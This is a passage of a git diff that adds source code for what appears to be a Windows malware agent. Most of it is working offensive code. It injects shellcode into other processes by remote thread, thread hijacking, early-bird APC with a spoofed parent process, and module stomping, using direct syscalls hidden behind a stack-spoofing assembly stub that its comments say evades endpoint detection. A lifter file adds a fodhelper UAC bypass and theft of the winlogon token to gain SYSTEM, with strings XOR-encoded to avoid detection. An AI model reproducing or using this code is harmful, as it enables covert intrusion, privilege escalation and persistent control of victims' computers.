+ }
+
+ /* flip RW -> RX, no RWX window */
+ ULONG old_prot;
+ sz = sc_len;
+ st = inj_sc(s_ssn[SSN_PROT],
+ (uintptr_t)hproc, (uintptr_t)&base, (uintptr_t)&sz,
+ PAGE_EXECUTE_READ, (uintptr_t)&old_prot, 0, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -5;
+ }
+
+ HANDLE hthread = NULL;
+ st = inj_sc(s_ssn[SSN_THREAD],
+ (uintptr_t)&hthread, THREAD_ALL_ACCESS, 0, (uintptr_t)hproc,
+ (uintptr_t)base, 0, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -6;
+ }
+
+ CloseHandle(hthread);
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return 0;
+}
+
+/* hijack an existing thread in target process instead of creating a new one */
+int inject_thread_hijack(DWORD pid, const BYTE *sc, SIZE_T sc_len)
+{
+ if (!sc || !sc_len)
+ return -1;
+ if (!_init() || !_init_hijack())
+ return -1;
+
+ /* open target for VM ops only, no thread-create rights */
+ HANDLE hproc = NULL;
+ PVOID base = NULL;
+ SIZE_T sz = sc_len;
+
+ INJ_OA oa = {sizeof(oa), NULL, NULL, 0, NULL, NULL};
+ INJ_CID cid = {(HANDLE)(uintptr_t)pid, NULL};
+
+ NTSTATUS st = inj_sc(s_ssn[SSN_OPEN],
+ (uintptr_t)&hproc,
+ PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
+ (uintptr_t)&oa, (uintptr_t)&cid, 0, 0, 0, 0, 0, 0, 0);
+ if (st)
+ return -2;
+
+ /* alloc RW, write, flip RX */
+ st = inj_sc(s_ssn[SSN_ALLOC],
+ (uintptr_t)hproc, (uintptr_t)&base, 0, (uintptr_t)&sz,
+ MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -3;
+ }
+
+ SIZE_T nw = 0;
+ st = inj_sc(s_ssn[SSN_WRITE],
+ (uintptr_t)hproc, (uintptr_t)base, (uintptr_t)sc, (uintptr_t)sc_len,
+ (uintptr_t)&nw, 0, 0, 0, 0, 0, 0);
+ if (st || nw != sc_len)
+ {
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -4;
+ }
+
+ ULONG old_prot;
+ sz = sc_len;
+ st = inj_sc(s_ssn[SSN_PROT],
+ (uintptr_t)hproc, (uintptr_t)&base, (uintptr_t)&sz,
+ PAGE_EXECUTE_READ, (uintptr_t)&old_prot, 0, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -5;
+ }
+
+ /* Enumerate threads — collect up to 64 TIDs belonging to pid */
+ DWORD tids[64];
+ int ntids = 0;
+
+ HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
+ if (snap != INVALID_HANDLE_VALUE)
+ {
+ THREADENTRY32 te;
+ te.dwSize = sizeof(te);
+ if (Thread32First(snap, &te))
+ {
+ do
+ {
+ if (te.th32OwnerProcessID == pid && ntids < 64)
+ tids[ntids++] = te.th32ThreadID;
+ } while (Thread32Next(snap, &te));
+ }
+ CloseHandle(snap);
+ }
+
+ if (!ntids)
+ {
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -6;
+ }
+
+ /* prefer secondary thread (index 1) over main thread (index 0) */
+ DWORD target_tid = (ntids > 1) ? tids[1] : tids[0];
+
+ /* open thread via syscall */
+ HANDLE hthread = NULL;
+ INJ_CID tcid = {(HANDLE)(uintptr_t)pid, (HANDLE)(uintptr_t)target_tid};
+ st = inj_sc(s_ssn[SSN_OPENTHRD],
+ (uintptr_t)&hthread,
+ THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
+ (uintptr_t)&oa, (uintptr_t)&tcid, 0, 0, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -7;
+ }
+
+ /* suspend, redirect RIP, resume */
+ ULONG prev = 0;
+ st = inj_sc(s_ssn[SSN_SUSPEND], (uintptr_t)hthread, (uintptr_t)&prev,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hthread, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -8;
+ }
+
+ CONTEXT ctx;
+ memset(&ctx, 0, sizeof(ctx));
+ ctx.ContextFlags = CONTEXT_FULL;
+ st = inj_sc(s_ssn[SSN_GETCTX], (uintptr_t)hthread, (uintptr_t)&ctx,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ inj_sc(s_ssn[SSN_RESUME], (uintptr_t)hthread, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hthread, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -9;
+ }
+
+#ifdef _WIN64
+ ctx.Rip = (DWORD64)(uintptr_t)base;
+#else
+ ctx.Eip = (DWORD)(uintptr_t)base;
+#endif
+
+ st = inj_sc(s_ssn[SSN_SETCTX], (uintptr_t)hthread, (uintptr_t)&ctx,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ inj_sc(s_ssn[SSN_RESUME], (uintptr_t)hthread, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hthread, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return st ? -10 : 0;
+}
+
+/* spawn suspended process, queue shellcode as APC, resume */
+int inject_earlybird(const BYTE *sc, SIZE_T sc_len)
+{
+ if (!sc || !sc_len)
+ return -1;
+ if (!_init() || !_init_earlybird())
+ return -1;
+
+ char svc_name[16] = {0};
+ EVS_D(svc_name, EVS_str_svchost_exe);
+
+ /* Build full path: C:\Windows\System32\svchost.exe */
+ char sys32[MAX_PATH];
+ if (!GetSystemDirectoryA(sys32, sizeof(sys32)))
+ return -2;
+ char target[512]; /* 512 > MAX_PATH + 1 + 11 (svchost.exe) — no truncation */
+ snprintf(target, sizeof(target), "%s\\%s", sys32, svc_name);
+ SecureZeroMemory(svc_name, sizeof(svc_name));
+
+ /* PPID spoof: appear to be a child of explorer.exe, not the agent */
+ typedef BOOL(WINAPI * InitPTA_t)(LPPROC_THREAD_ATTRIBUTE_LIST, DWORD, DWORD, PSIZE_T);
+ typedef BOOL(WINAPI * UpdatePTA_t)(LPPROC_THREAD_ATTRIBUTE_LIST, DWORD, DWORD_PTR, PVOID, SIZE_T, PVOID, PSIZE_T);
+ typedef void(WINAPI * DelPTA_t)(LPPROC_THREAD_ATTRIBUTE_LIST);
+
+ char _ipta[34], _upta[26], _dpta[30];
+ HMODULE hk32;
+ {
+ EVS_D(_ipta, EVS_fn_InitializeProcThreadAttributeList);
+ EVS_D(_upta, EVS_fn_UpdateProcThreadAttribute);
+ EVS_D(_dpta, EVS_fn_DeleteProcThreadAttributeList);
+ char _ks[14];
+ EVS_D(_ks, EVS_dll_kernel32);
+ hk32 = _peb_module(_ks);
+ SecureZeroMemory(_ks, sizeof(_ks));
+ }
+ InitPTA_t fn_init = hk32 ? (InitPTA_t)GetProcAddress(hk32, _ipta) : NULL;
+ UpdatePTA_t fn_upd = hk32 ? (UpdatePTA_t)GetProcAddress(hk32, _upta) : NULL;
+ DelPTA_t fn_del = hk32 ? (DelPTA_t)GetProcAddress(hk32, _dpta) : NULL;
+
+ HANDLE hParent = NULL;
+ LPPROC_THREAD_ATTRIBUTE_LIST pAttrList = NULL;
+ SIZE_T attrListSz = 0;
+
+ BOOL ppid_ok = FALSE;
+ if (fn_init && fn_upd && fn_del)
+ {
+ DWORD explorer_pid = _find_explorer();
+ if (explorer_pid)
+ {
+ hParent = inject_nt_open_process(explorer_pid,
+ 0x0080 /* PROCESS_CREATE_PROCESS */);
+ }
+ if (hParent)
+ {
+ fn_init(NULL, 1, 0, &attrListSz);
+ pAttrList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
+ GetProcessHeap(), 0, attrListSz);
+ if (pAttrList && fn_init(pAttrList, 1, 0, &attrListSz))
+ {
+ /* PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000 */
+ if (fn_upd(pAttrList, 0, 0x00020000,
+ &hParent, sizeof(HANDLE), NULL, NULL))
+ ppid_ok = TRUE;
+ }
+ }
+ }
+
+ STARTUPINFOEXA siex = {0};
+ PROCESS_INFORMATION pi = {0};
+ siex.StartupInfo.cb = sizeof(siex);
+ DWORD cflags = CREATE_SUSPENDED | CREATE_NO_WINDOW;
+
+ if (ppid_ok)
+ {
+ siex.lpAttributeList = pAttrList;
+ cflags |= EXTENDED_STARTUPINFO_PRESENT;
+ }
+
+ if (!CreateProcessA(target, NULL, NULL, NULL, FALSE,
+ cflags, NULL, NULL,
+ (LPSTARTUPINFOA)&siex, &pi))
+ {
+ if (pAttrList)
+ {
+ fn_del(pAttrList);
+ HeapFree(GetProcessHeap(), 0, pAttrList);
+ }
+ if (hParent)
+ CloseHandle(hParent);
+ return -2;
+ }
+
+ if (pAttrList)
+ {
+ fn_del(pAttrList);
+ HeapFree(GetProcessHeap(), 0, pAttrList);
+ }
+ if (hParent)
+ CloseHandle(hParent);
+
+ /* Allocate RW shellcode region in remote process */
+ HANDLE hproc = pi.hProcess;
+ PVOID base = NULL;
+ SIZE_T sz = sc_len;
+
+ NTSTATUS st = inj_sc(s_ssn[SSN_ALLOC],
+ (uintptr_t)hproc, (uintptr_t)&base, 0, (uintptr_t)&sz,
+ MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ TerminateProcess(hproc, 0);
+ CloseHandle(pi.hThread);
+ CloseHandle(hproc);
+ return -3;
+ }
+
+ /* Write shellcode */
+ SIZE_T nw = 0;
+ st = inj_sc(s_ssn[SSN_WRITE],
+ (uintptr_t)hproc, (uintptr_t)base, (uintptr_t)sc, (uintptr_t)sc_len,
+ (uintptr_t)&nw, 0, 0, 0, 0, 0, 0);
+ if (st || nw != sc_len)
+ {
+ TerminateProcess(hproc, 0);
+ CloseHandle(pi.hThread);
+ CloseHandle(hproc);
+ return -4;
+ }
+
+ /* Flip RW → RX — no RWX window */
+ ULONG old_prot;
+ sz = sc_len;
+ st = inj_sc(s_ssn[SSN_PROT],
+ (uintptr_t)hproc, (uintptr_t)&base, (uintptr_t)&sz,
+ PAGE_EXECUTE_READ, (uintptr_t)&old_prot, 0, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ TerminateProcess(hproc, 0);
+ CloseHandle(pi.hThread);
+ CloseHandle(hproc);
+ return -5;
+ }
+
+ /* Queue APC targeting the main thread (currently suspended) */
+ st = inj_sc(s_ssn[SSN_APC],
+ (uintptr_t)pi.hThread, (uintptr_t)base, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ TerminateProcess(hproc, 0);
+ CloseHandle(pi.hThread);
+ CloseHandle(hproc);
+ return -6;
+ }
+
+ /* resume — APC fires during ntdll init before EDR hooks install */
+ _rt(pi.hThread);
+
+ CloseHandle(pi.hThread);
+ CloseHandle(hproc);
+ return 0;
+}
+
+/* inject shellcode into current process */
+int inject_self(const BYTE *sc, SIZE_T sc_len)
+{
+ if (!sc || !sc_len || !_init())
+ return -1;
+
+ HANDLE self = (HANDLE)(LONG_PTR)-1; /* NtCurrentProcess */
+ PVOID base = NULL;
+ SIZE_T sz = sc_len;
+
+ /* alloc RW, no RWX */
+ NTSTATUS st = inj_sc(s_ssn[SSN_ALLOC],
+ (uintptr_t)self, (uintptr_t)&base, 0, (uintptr_t)&sz,
+ MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, 0, 0, 0, 0, 0);
+ if (st)
+ return -3;
+
+ /* write directly, same address space */
+ memcpy(base, sc, sc_len);
+
+ /* RW → RX */
+ ULONG old_prot;
+ sz = sc_len;
+ st = inj_sc(s_ssn[SSN_PROT],
+ (uintptr_t)self, (uintptr_t)&base, (uintptr_t)&sz,
+ PAGE_EXECUTE_READ, (uintptr_t)&old_prot, 0, 0, 0, 0, 0, 0);
+ if (st)
+ return -5;
+
+ /* Thread in current process */
+ HANDLE hthread = NULL;
+ st = inj_sc(s_ssn[SSN_THREAD],
+ (uintptr_t)&hthread, THREAD_ALL_ACCESS, 0, (uintptr_t)self,
+ (uintptr_t)base, 0, 0, 0, 0, 0, 0);
+ if (st)
+ return -6;
+
+ CloseHandle(hthread);
+ return 0;
+}
+
+/* map a signed DLL into target and overwrite its .text with shellcode */
+int inject_stomp(DWORD pid, const BYTE *sc, SIZE_T sc_len, const char *dll_path)
+{
+ if (!sc || !sc_len)
+ return -1;
+ if (!_init() || !_init_stomp())
+ return -1;
+
+ /* Resolve DLL path */
+ char path_buf[MAX_PATH];
+ if (!dll_path || !dll_path[0])
+ {
+ GetSystemDirectoryA(path_buf, sizeof(path_buf));
+ size_t plen = strlen(path_buf);
+ /* xpsservices.dll: small, always present, rarely loaded */
+ char _tail[18];
+ _tail[0] = '\\';
+ EVS_D(_tail + 1, EVS_dll_xpsservices);
+ size_t _tlen = strlen(_tail);
+ if (plen + _tlen < sizeof(path_buf))
+ memcpy(path_buf + plen, _tail, _tlen + 1);
+ dll_path = path_buf;
+ }
+
+ /* open DLL shared-read to avoid interfering with loaders */
+ HANDLE hFile = CreateFileA(dll_path,
+ GENERIC_READ,
+ FILE_SHARE_READ | FILE_SHARE_WRITE,
+ NULL, OPEN_EXISTING, 0, NULL);
+ if (hFile == INVALID_HANDLE_VALUE)
+ return -2;
+
+ /* Create image section (SEC_IMAGE = 0x1000000) */
+ HANDLE hSection = NULL;
+ NTSTATUS st = inj_sc(s_ssn[SSN_CRTSEC],
+ (uintptr_t)&hSection, 0xF001F, 0, 0,
+ 0x02, 0x1000000, (uintptr_t)hFile, 0, 0, 0, 0);
+ CloseHandle(hFile);
+ if (st)
+ return -3;
+
+ /* Open target process */
+ HANDLE hproc = NULL;
+ INJ_OA oa = {sizeof(oa), NULL, NULL, 0, NULL, NULL};
+ INJ_CID cid = {(HANDLE)(uintptr_t)pid, NULL};
+
+ st = inj_sc(s_ssn[SSN_OPEN],
+ (uintptr_t)&hproc, PROCESS_ALL_ACCESS, (uintptr_t)&oa, (uintptr_t)&cid,
+ 0, 0, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ CloseHandle(hSection);
+ return -4;
+ }
+
+ /* Map view into target — protection determined by image sections */
+ PVOID base = NULL;
+ SIZE_T view_sz = 0;
+ st = inj_sc(s_ssn[SSN_MAPSEC],
+ (uintptr_t)hSection, (uintptr_t)hproc, (uintptr_t)&base, 0,
+ 0, 0, (uintptr_t)&view_sz, 2, 0, 0x20, 0);
+ CloseHandle(hSection);
+ if (st)
+ {
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -5;
+ }
+
+ /* Change first sc_len bytes of view to RW for writing */
+ PVOID prot_base = base;
+ SIZE_T prot_sz = sc_len;
+ ULONG old_prot;
+ st = inj_sc(s_ssn[SSN_PROT],
+ (uintptr_t)hproc, (uintptr_t)&prot_base, (uintptr_t)&prot_sz,
+ PAGE_READWRITE, (uintptr_t)&old_prot, 0, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ inj_sc(s_ssn[SSN_UNMAPSEC], (uintptr_t)hproc, (uintptr_t)base, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -6;
+ }
+
+ /* write shellcode over the module's .text region */
+ SIZE_T nw = 0;
+ st = inj_sc(s_ssn[SSN_WRITE],
+ (uintptr_t)hproc, (uintptr_t)base, (uintptr_t)sc, (uintptr_t)sc_len,
+ (uintptr_t)&nw, 0, 0, 0, 0, 0, 0);
+ if (st || nw != sc_len)
+ {
+ inj_sc(s_ssn[SSN_UNMAPSEC], (uintptr_t)hproc, (uintptr_t)base, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -7;
+ }
+
+ /* Restore RX */
+ prot_base = base;
+ prot_sz = sc_len;
+ st = inj_sc(s_ssn[SSN_PROT],
+ (uintptr_t)hproc, (uintptr_t)&prot_base, (uintptr_t)&prot_sz,
+ PAGE_EXECUTE_READ, (uintptr_t)&old_prot, 0, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ inj_sc(s_ssn[SSN_UNMAPSEC], (uintptr_t)hproc, (uintptr_t)base, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -8;
+ }
+
+ /* Execute shellcode — thread starts at mapped base (stomped .text entry) */
+ HANDLE hthread = NULL;
+ st = inj_sc(s_ssn[SSN_THREAD],
+ (uintptr_t)&hthread, THREAD_ALL_ACCESS, 0, (uintptr_t)hproc,
+ (uintptr_t)base, 0, 0, 0, 0, 0, 0);
+ if (st)
+ {
+ inj_sc(s_ssn[SSN_UNMAPSEC], (uintptr_t)hproc, (uintptr_t)base, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return -9;
+ }
+
+ CloseHandle(hthread);
+ inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
+ return 0;
+}
diff --git a/agent/src/inject/inject_stub.c b/agent/src/inject/inject_stub.c
new file mode 100644
index 0000000..e7e46b3
--- /dev/null
+++ b/agent/src/inject/inject_stub.c
@@ -0,0 +1,13 @@
+#include "inject.h"
+
+/* Lean-build stubs — inject capability excluded via -DLEAN.
+ * inject_nt_open_process is still called by getsystem/spawn/token;
+ * returning NULL causes those callers to fail gracefully. */
+
+DWORD inject_find_target(void) { return 0; }
+HANDLE inject_nt_open_process(DWORD pid, DWORD access) { (void)pid; (void)access; return NULL; }
+int inject_remote(DWORD pid, const BYTE *sc, SIZE_T n) { (void)pid; (void)sc; (void)n; return -1; }
+int inject_thread_hijack(DWORD pid, const BYTE *sc, SIZE_T n) { (void)pid; (void)sc; (void)n; return -1; }
+int inject_earlybird(const BYTE *sc, SIZE_T n) { (void)sc; (void)n; return -1; }
+int inject_self(const BYTE *sc, SIZE_T n) { (void)sc; (void)n; return -1; }
+int inject_stomp(DWORD pid, const BYTE *sc, SIZE_T n, const char *dll) { (void)pid; (void)sc; (void)n; (void)dll; return -1; }
diff --git a/agent/src/inject/spoof_stub.S b/agent/src/inject/spoof_stub.S
new file mode 100644
index 0000000..004782a
--- /dev/null
+++ b/agent/src/inject/spoof_stub.S
@@ -0,0 +1,34 @@
+
+ .text
+ .extern inj_sc_gadget
+ .extern inj_frame1
+ .extern inj_frame2
+
+ .global inj_sc
+inj_sc:
+ movq 0x30(%rsp), %r10
+ movq 0x38(%rsp), %r11
+
+ subq $0x10, %rsp
+
+ movq inj_frame2(%rip), %rax
+ movq %rax, 0x08(%rsp)
+ movq inj_frame1(%rip), %rax
+ movq %rax, 0x00(%rsp)
+
+ movq %r10, 0x28(%rsp)
+ movq %r11, 0x30(%rsp)
+
+ movq %rdx, %r10
+ movq %r8, %rdx
+ movq %r9, %r8
+ movq 0x38(%rsp), %r9
+
+ movq 0x50(%rsp), %r11 ; movq %r11, 0x38(%rsp)
+ movq 0x58(%rsp), %r11 ; movq %r11, 0x40(%rsp)
+ movq 0x60(%rsp), %r11 ; movq %r11, 0x48(%rsp)
+ movq 0x68(%rsp), %r11 ; movq %r11, 0x50(%rsp)
+ movq 0x70(%rsp), %r11 ; movq %r11, 0x58(%rsp)
+
+ movzwl %cx, %eax
+ jmpq *inj_sc_gadget(%rip)
diff --git a/agent/src/lifter/lifter.c b/agent/src/lifter/lifter.c
new file mode 100644
index 0000000..be62e80
--- /dev/null
+++ b/agent/src/lifter/lifter.c
@@ -0,0 +1,373 @@
+/*
+ * lifter.c — minimal UAC bypass + winlogon token steal
+ *
+ * Two modes selected by first arg:
+ * (none) MEDIUM IL — writes fodhelper HKCU key, fires bypass
+ * --admin HIGH IL — enables privileges, steals winlogon token,
+ * spawns argv[2] (agent.exe) as SYSTEM
+ *
+ * Evasion:
+ * • All sensitive APIs resolved at runtime via GetProcAddress
+ * • API/DLL strings XOR-encoded at rest via EVS_D (per-build random key)
+ * • No console window (-mwindows)
+ * • No debug output
+ */
+
+#include
+#include "peb_walk.h"
+#include "evs_strings.h"
+#include
+#include
+#include
+#include
+
+/* ── Dynamic API typedefs ─────────────────────────────────────────────── */
+
+typedef BOOL (WINAPI *fn_OPT)(HANDLE,DWORD,PHANDLE);
+typedef BOOL (WINAPI *fn_ATP)(HANDLE,BOOL,PTOKEN_PRIVILEGES,DWORD,PTOKEN_PRIVILEGES,PDWORD);
+typedef BOOL (WINAPI *fn_LPV)(LPCSTR,LPCSTR,PLUID);
+typedef BOOL (WINAPI *fn_DTE)(HANDLE,DWORD,LPSECURITY_ATTRIBUTES,SECURITY_IMPERSONATION_LEVEL,TOKEN_TYPE,PHANDLE);
+typedef BOOL (WINAPI *fn_CTM)(HANDLE,PSID,PBOOL);
+typedef BOOL (WINAPI *fn_AIS)(PSID_IDENTIFIER_AUTHORITY,BYTE,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,PSID*);
+typedef PVOID (WINAPI *fn_FS) (PSID);
+typedef BOOL (WINAPI *fn_CPWT)(HANDLE,DWORD,LPCWSTR,LPWSTR,DWORD,LPVOID,LPCWSTR,LPSTARTUPINFOW,LPPROCESS_INFORMATION);
+typedef BOOL (WINAPI *fn_CPAU)(HANDLE,LPCWSTR,LPWSTR,LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCWSTR,LPSTARTUPINFOW,LPPROCESS_INFORMATION);
+typedef BOOL (WINAPI *fn_SEE) (SHELLEXECUTEINFOA*);
+typedef LONG (WINAPI *fn_RCK) (HKEY,LPCSTR);
+typedef LONG (WINAPI *fn_RCE) (HKEY,LPCSTR,DWORD,LPCSTR,DWORD,REGSAM,LPSECURITY_ATTRIBUTES,PHKEY,LPDWORD);
+typedef LONG (WINAPI *fn_RSV) (HKEY,LPCSTR,DWORD,DWORD,const BYTE*,DWORD);
+typedef LONG (WINAPI *fn_RCL) (HKEY);
+
+typedef struct {
+ fn_OPT OpenProcessToken;
+ fn_ATP AdjustTokenPrivileges;
+ fn_LPV LookupPrivilegeValueA;
+ fn_DTE DuplicateTokenEx;
+ fn_CTM CheckTokenMembership;
+ fn_AIS AllocateAndInitializeSid;
+ fn_FS FreeSid;
+ fn_CPWT CreateProcessWithTokenW;
+ fn_CPAU CreateProcessAsUserW;
+ fn_SEE ShellExecuteExA;
+ fn_RCK RegDeleteKeyA;
+ fn_RCE RegCreateKeyExA;
+ fn_RSV RegSetValueExA;
+ fn_RCL RegCloseKey;
+} api_t;
+
+/* ── String builders ──────────────────────────────────────────────────── */
+
+static void _build_reg_path(char *out, size_t sz)
+{
+ char _ms[12];
+ EVS_D(_ms, EVS_str_ms_settings);
+ snprintf(out, sz, "Software\\Classes\\%s\\Shell\\Open\\command", _ms);
+ SecureZeroMemory(_ms, sizeof(_ms));
+}
+
+static void _build_reg_root(char *out, size_t sz)
+{
+ char _ms[12];
+ EVS_D(_ms, EVS_str_ms_settings);
+ snprintf(out, sz, "Software\\Classes\\%s", _ms);
+ SecureZeroMemory(_ms, sizeof(_ms));
+}
+
+static void _build_fod(char *out, size_t sz)
+{
+ char sys32[MAX_PATH];
+ GetSystemDirectoryA(sys32, sizeof(sys32));
+ char _fn[14];
+ EVS_D(_fn, EVS_str_fodhelper_exe);
+ snprintf(out, sz, "%s\\%s", sys32, _fn);
+ SecureZeroMemory(_fn, sizeof(_fn));
+}
+
+static void _build_delexec(char *out)
+{
+ EVS_D(out, EVS_str_DelegateExecute);
+}
+
+static void _build_winlogon(char *out)
+{
+ EVS_D(out, EVS_str_winlogon_exe);
+}
+
+/* ── API resolution ───────────────────────────────────────────────────── */
+
+static int _resolve(api_t *api)
+{
+ char _dl[13];
+ EVS_D(_dl, EVS_dll_kernel32);
+ HMODULE hk32 = _peb_module(_dl);
+ SecureZeroMemory(_dl, sizeof(_dl));
+
+ EVS_D(_dl, EVS_dll_advapi32);
+ HMODULE had = LoadLibraryA(_dl);
+ SecureZeroMemory(_dl, sizeof(_dl));
+
+ char _sh[12];
+ EVS_D(_sh, EVS_dll_shell32);
+ HMODULE hsh32 = LoadLibraryA(_sh);
+ SecureZeroMemory(_sh, sizeof(_sh));
+
+ if (!hk32 || !had || !hsh32) return -1;
+
+ char _fn[25];
+
+#define _R(api_field, cast, mod, evs_arr) do { \
+ EVS_D(_fn, evs_arr); \
+ (api_field) = (cast)(void*)GetProcAddress((mod), _fn); \
+ SecureZeroMemory(_fn, sizeof(_fn)); \
+} while(0)
+
+ _R(api->OpenProcessToken, fn_OPT, had, EVS_fn_OpenProcessToken);
+ _R(api->AdjustTokenPrivileges, fn_ATP, had, EVS_fn_AdjustTokenPrivileges);
+ _R(api->LookupPrivilegeValueA, fn_LPV, had, EVS_fn_LookupPrivilegeValueA);
+ _R(api->DuplicateTokenEx, fn_DTE, had, EVS_fn_DuplicateTokenEx);
+ _R(api->CheckTokenMembership, fn_CTM, had, EVS_fn_CheckTokenMembership);
+ _R(api->AllocateAndInitializeSid, fn_AIS, had, EVS_fn_AllocateAndInitializeSid);
+ _R(api->FreeSid, fn_FS, had, EVS_fn_FreeSid);
+ _R(api->CreateProcessWithTokenW, fn_CPWT, had, EVS_fn_CreateProcessWithTokenW);
+ _R(api->CreateProcessAsUserW, fn_CPAU, had, EVS_fn_CreateProcessAsUserW);
+ _R(api->ShellExecuteExA, fn_SEE, hsh32, EVS_fn_ShellExecuteExA);
+ _R(api->RegDeleteKeyA, fn_RCK, had, EVS_fn_RegDeleteKeyA);
+ _R(api->RegCreateKeyExA, fn_RCE, had, EVS_fn_RegCreateKeyExA);
+ _R(api->RegSetValueExA, fn_RSV, had, EVS_fn_RegSetValueExA);
+ _R(api->RegCloseKey, fn_RCL, had, EVS_fn_RegCloseKey);
+
+#undef _R
+
+ return (api->OpenProcessToken && api->DuplicateTokenEx &&
+ api->ShellExecuteExA && api->RegCreateKeyExA) ? 0 : -1;
+}
+
+/* ── Helper: check if running as admin (full token) ─────────────────── */
+
+static BOOL _is_admin(api_t *api)
+{
+ BOOL admin = FALSE;
+ SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
+ PSID sid = NULL;
+ if (api->AllocateAndInitializeSid(&nt, 2,
+ SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
+ 0,0,0,0,0,0, &sid)) {
+ api->CheckTokenMembership(NULL, sid, &admin);
+ api->FreeSid(sid);
+ }
+ return admin;
+}
+
+/* ── Enable four key privileges ──────────────────────────────────────── */
+
+static void _enable_privs(api_t *api)
+{
+ HANDLE htok = NULL;
+ if (!api->OpenProcessToken(GetCurrentProcess(),
+ TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &htok))
+ return;
+
+ char _priv[30];
+ LUID luid = {0};
+ TOKEN_PRIVILEGES tp = {0};
+
+#define _ENA(evs_arr) do { \
+ EVS_D(_priv, evs_arr); \
+ if (api->LookupPrivilegeValueA(NULL, _priv, &luid)) { \
+ tp.PrivilegeCount = 1; \
+ tp.Privileges[0].Luid = luid; \
+ tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \
+ api->AdjustTokenPrivileges(htok, FALSE, &tp, sizeof(tp), NULL, NULL); \
+ } \
+ SecureZeroMemory(_priv, sizeof(_priv)); \
+} while(0)
+
+ _ENA(EVS_str_SeDebugPrivilege);
+ _ENA(EVS_str_SeImpersonatePrivilege);
+ _ENA(EVS_str_SeAssignPrimaryTokenPrivilege);
+ _ENA(EVS_str_SeIncreaseQuotaPrivilege);
+
+#undef _ENA
+ CloseHandle(htok);
+}
+
+/* ── Find winlogon.exe PID ───────────────────────────────────────────── */
+
+static DWORD _winlogon_pid(void)
+{
+ char _wl[13];
